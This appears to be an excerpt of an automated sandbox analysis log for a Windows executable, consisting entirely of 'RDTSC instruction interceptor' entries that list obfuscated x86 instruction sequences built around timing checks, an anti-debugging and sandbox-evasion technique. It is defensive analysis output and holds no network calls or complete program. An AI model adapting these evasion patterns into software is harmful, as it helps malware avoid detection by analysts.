Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C078C second address: 50C07CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 mov ax, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007F7DD0B815DFh 0x00000015 or ecx, 530752FEh 0x0000001b jmp 00007F7DD0B815E9h 0x00000020 popfd 0x00000021 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C07CB second address: 50C084B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F7DD0B8164Ch 0x0000000c and cl, FFFFFFF8h 0x0000000f jmp 00007F7DD0B8164Bh 0x00000014 popfd 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 jmp 00007F7DD0B81656h 0x0000001d xchg eax, ecx 0x0000001e jmp 00007F7DD0B81650h 0x00000023 push eax 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F7DD0B81651h 0x0000002b sub eax, 0927B7F6h 0x00000031 jmp 00007F7DD0B81651h 0x00000036 popfd 0x00000037 popad 0x00000038 xchg eax, ecx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C084B second address: 50C084F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C084F second address: 50C0855 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0855 second address: 50C0884 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F7DD0B815DCh 0x00000008 pop eax 0x00000009 mov bx, D406h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 mov ah, CBh 0x00000014 pushad 0x00000015 mov dx, 4AB6h 0x00000019 mov di, 5C42h 0x0000001d popad 0x0000001e popad 0x0000001f mov dword ptr [esp], esi 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0884 second address: 50C0888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0888 second address: 50C088E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C088E second address: 50C0893 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C096B second address: 50C09C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7DD0B815E7h 0x00000009 add esi, 2A17F82Eh 0x0000000f jmp 00007F7DD0B815E9h 0x00000014 popfd 0x00000015 call 00007F7DD0B815E0h 0x0000001a pop ecx 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e cmp dword ptr [ebp-04h], 00000000h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov edx, ecx 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0A38 second address: 50C0A66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B81659h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7DD0B8164Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0A66 second address: 50C0A6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0A6C second address: 50C0A8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B81653h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov ecx, 363A3A91h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0A8E second address: 50C0AC1 instructions: 0x00000000 rdtsc 0x00000002 mov ax, EECDh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F7DD0B815DAh 0x0000000d push eax 0x0000000e pop edi 0x0000000f pop ecx 0x00000010 popad 0x00000011 leave 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F7DD0B815E6h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0AC1 second address: 50B01A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a retn 0004h 0x0000000d nop 0x0000000e sub esp, 04h 0x00000011 xor ebx, ebx 0x00000013 cmp eax, 00000000h 0x00000016 je 00007F7DD0B817AAh 0x0000001c mov dword ptr [esp], 0000000Dh 0x00000023 call 00007F7DD4EED979h 0x00000028 mov edi, edi 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B01A0 second address: 50B01A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B01A6 second address: 50B023F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7DD0B81650h 0x00000008 mov ah, 76h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F7DD0B81658h 0x00000015 xor ecx, 4F6C2B88h 0x0000001b jmp 00007F7DD0B8164Bh 0x00000020 popfd 0x00000021 call 00007F7DD0B81658h 0x00000026 mov ah, CCh 0x00000028 pop edx 0x00000029 popad 0x0000002a mov dword ptr [esp], ebp 0x0000002d pushad 0x0000002e jmp 00007F7DD0B81658h 0x00000033 movzx esi, di 0x00000036 popad 0x00000037 mov ebp, esp 0x00000039 pushad 0x0000003a call 00007F7DD0B81653h 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B023F second address: 50B025A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 movsx ebx, ax 0x00000008 popad 0x00000009 sub esp, 2Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7DD0B815DDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B025A second address: 50B02B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B81651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F7DD0B8164Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F7DD0B81658h 0x00000019 jmp 00007F7DD0B81655h 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B02B2 second address: 50B02E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F7DD0B815DEh 0x0000000f xchg eax, edi 0x00000010 pushad 0x00000011 movzx esi, dx 0x00000014 mov dh, 68h 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B02E5 second address: 50B02E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B02E9 second address: 50B02ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B02ED second address: 50B02F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0346 second address: 50B0404 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b pushad 0x0000000c push ebx 0x0000000d mov esi, 28816189h 0x00000012 pop ecx 0x00000013 mov eax, edi 0x00000015 popad 0x00000016 mov edi, 00000000h 0x0000001b jmp 00007F7DD0B815DEh 0x00000020 inc ebx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F7DD0B815DEh 0x00000028 xor ecx, 47182808h 0x0000002e jmp 00007F7DD0B815DBh 0x00000033 popfd 0x00000034 call 00007F7DD0B815E8h 0x00000039 pushfd 0x0000003a jmp 00007F7DD0B815E2h 0x0000003f sbb ah, FFFFFF98h 0x00000042 jmp 00007F7DD0B815DBh 0x00000047 popfd 0x00000048 pop esi 0x00000049 popad 0x0000004a test al, al 0x0000004c jmp 00007F7DD0B815DFh 0x00000051 je 00007F7DD0B81769h 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F7DD0B815E0h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0404 second address: 50B0408 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0408 second address: 50B040E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B040E second address: 50B0414 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B047C second address: 50B048B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0575 second address: 50B057B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B057B second address: 50B059C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7DD0B815E4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B059C second address: 50B05A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B05A2 second address: 50B05A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B05A6 second address: 50B0637 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-2Ch] 0x0000000b jmp 00007F7DD0B81659h 0x00000010 xchg eax, esi 0x00000011 pushad 0x00000012 movzx eax, dx 0x00000015 mov si, dx 0x00000018 popad 0x00000019 push eax 0x0000001a jmp 00007F7DD0B81652h 0x0000001f xchg eax, esi 0x00000020 jmp 00007F7DD0B81650h 0x00000025 nop 0x00000026 pushad 0x00000027 call 00007F7DD0B8164Eh 0x0000002c pop ecx 0x0000002d mov cx, dx 0x00000030 popad 0x00000031 push eax 0x00000032 jmp 00007F7DD0B81658h 0x00000037 nop 0x00000038 pushad 0x00000039 mov edx, ecx 0x0000003b mov dh, cl 0x0000003d popad 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 mov esi, edi 0x00000044 mov dx, 245Eh 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B066B second address: 50B0671 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0671 second address: 50B0687 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 7C298B07h 0x00000008 mov dx, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov esi, eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0687 second address: 50B068B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B068B second address: 50B0691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0691 second address: 50B0037 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7DD0B815E4h 0x00000009 xor si, 0D18h 0x0000000e jmp 00007F7DD0B815DBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 test esi, esi 0x00000019 jmp 00007F7DD0B815E6h 0x0000001e je 00007F7E416EF556h 0x00000024 xor eax, eax 0x00000026 jmp 00007F7DD0B5AD0Ah 0x0000002b pop esi 0x0000002c pop edi 0x0000002d pop ebx 0x0000002e leave 0x0000002f retn 0004h 0x00000032 nop 0x00000033 sub esp, 04h 0x00000036 mov esi, eax 0x00000038 xor ebx, ebx 0x0000003a cmp esi, 00000000h 0x0000003d je 00007F7DD0B81715h 0x00000043 call 00007F7DD4EED61Ch 0x00000048 mov edi, edi 0x0000004a jmp 00007F7DD0B815E7h 0x0000004f xchg eax, ebp 0x00000050 jmp 00007F7DD0B815E6h 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0037 second address: 50B003B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B003B second address: 50B0041 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0041 second address: 50B0047 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0047 second address: 50B004B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B004B second address: 50B010A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov ebx, 1BE91CAEh 0x0000000f pushfd 0x00000010 jmp 00007F7DD0B8164Fh 0x00000015 or ah, 0000005Eh 0x00000018 jmp 00007F7DD0B81659h 0x0000001d popfd 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 jmp 00007F7DD0B8164Eh 0x00000026 xchg eax, ecx 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F7DD0B8164Eh 0x0000002e add si, D888h 0x00000033 jmp 00007F7DD0B8164Bh 0x00000038 popfd 0x00000039 push ecx 0x0000003a pushfd 0x0000003b jmp 00007F7DD0B8164Fh 0x00000040 jmp 00007F7DD0B81653h 0x00000045 popfd 0x00000046 pop eax 0x00000047 popad 0x00000048 push eax 0x00000049 pushad 0x0000004a call 00007F7DD0B81654h 0x0000004f mov edi, esi 0x00000051 pop eax 0x00000052 push eax 0x00000053 push edx 0x00000054 call 00007F7DD0B8164Dh 0x00000059 pop esi 0x0000005a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B010A second address: 50B010E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0149 second address: 50B014D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B014D second address: 50B0153 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0153 second address: 50B017E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B8164Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F7DD0B81653h 0x00000012 mov ebx, esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0A3C second address: 50B0A42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0A42 second address: 50B0A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0A46 second address: 50B0A4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0A4A second address: 50B0AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F7DD0B8164Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F7DD0B8164Eh 0x00000018 jmp 00007F7DD0B81655h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F7DD0B81650h 0x00000024 sbb eax, 361E4AD8h 0x0000002a jmp 00007F7DD0B8164Bh 0x0000002f popfd 0x00000030 popad 0x00000031 mov ebp, esp 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F7DD0B81655h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0BE8 second address: 50B0C0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 mov ebx, 6E8FC09Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov esi, 00000000h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7DD0B815E1h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0C0D second address: 50B0C1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7DD0B8164Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0C5B second address: 50B0C65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 614A1F72h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0C65 second address: 50B0C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test al, al 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0C74 second address: 50B0C78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0C78 second address: 50B0C7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50B0C7C second address: 50B0C82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0B28 second address: 50C0B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0B2C second address: 50C0B43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0B43 second address: 50C0BA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 720Ah 0x00000007 mov cx, di 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], ebp 0x00000010 jmp 00007F7DD0B8164Dh 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F7DD0B8164Ch 0x0000001e jmp 00007F7DD0B81655h 0x00000023 popfd 0x00000024 mov si, 2E27h 0x00000028 popad 0x00000029 xchg eax, esi 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d call 00007F7DD0B81656h 0x00000032 pop esi 0x00000033 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0BA6 second address: 50C0BFD instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F7DD0B815DBh 0x00000008 jmp 00007F7DD0B815E3h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ah, 5Bh 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007F7DD0B815E2h 0x00000019 xchg eax, esi 0x0000001a jmp 00007F7DD0B815E0h 0x0000001f mov esi, dword ptr [ebp+0Ch] 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov si, dx 0x00000028 mov cl, dl 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0BFD second address: 50C0C25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B8164Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7DD0B81655h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0C25 second address: 50C0C35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7DD0B815DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0C35 second address: 50C0C39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0C39 second address: 50C0C4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F7E416CED4Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0C4D second address: 50C0C53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0C53 second address: 50C0C80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75C7459Ch], 05h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7DD0B815E5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0C80 second address: 50C0CCF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B81651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F7E416E6E48h 0x0000000f jmp 00007F7DD0B8164Eh 0x00000014 xchg eax, esi 0x00000015 jmp 00007F7DD0B81650h 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e call 00007F7DD0B8164Ch 0x00000023 pop eax 0x00000024 movsx ebx, ax 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0D93 second address: 50C0D98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 658ED1F second address: 658ED32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jnc 00007F7DD0B81648h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 659ADD5 second address: 659ADDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
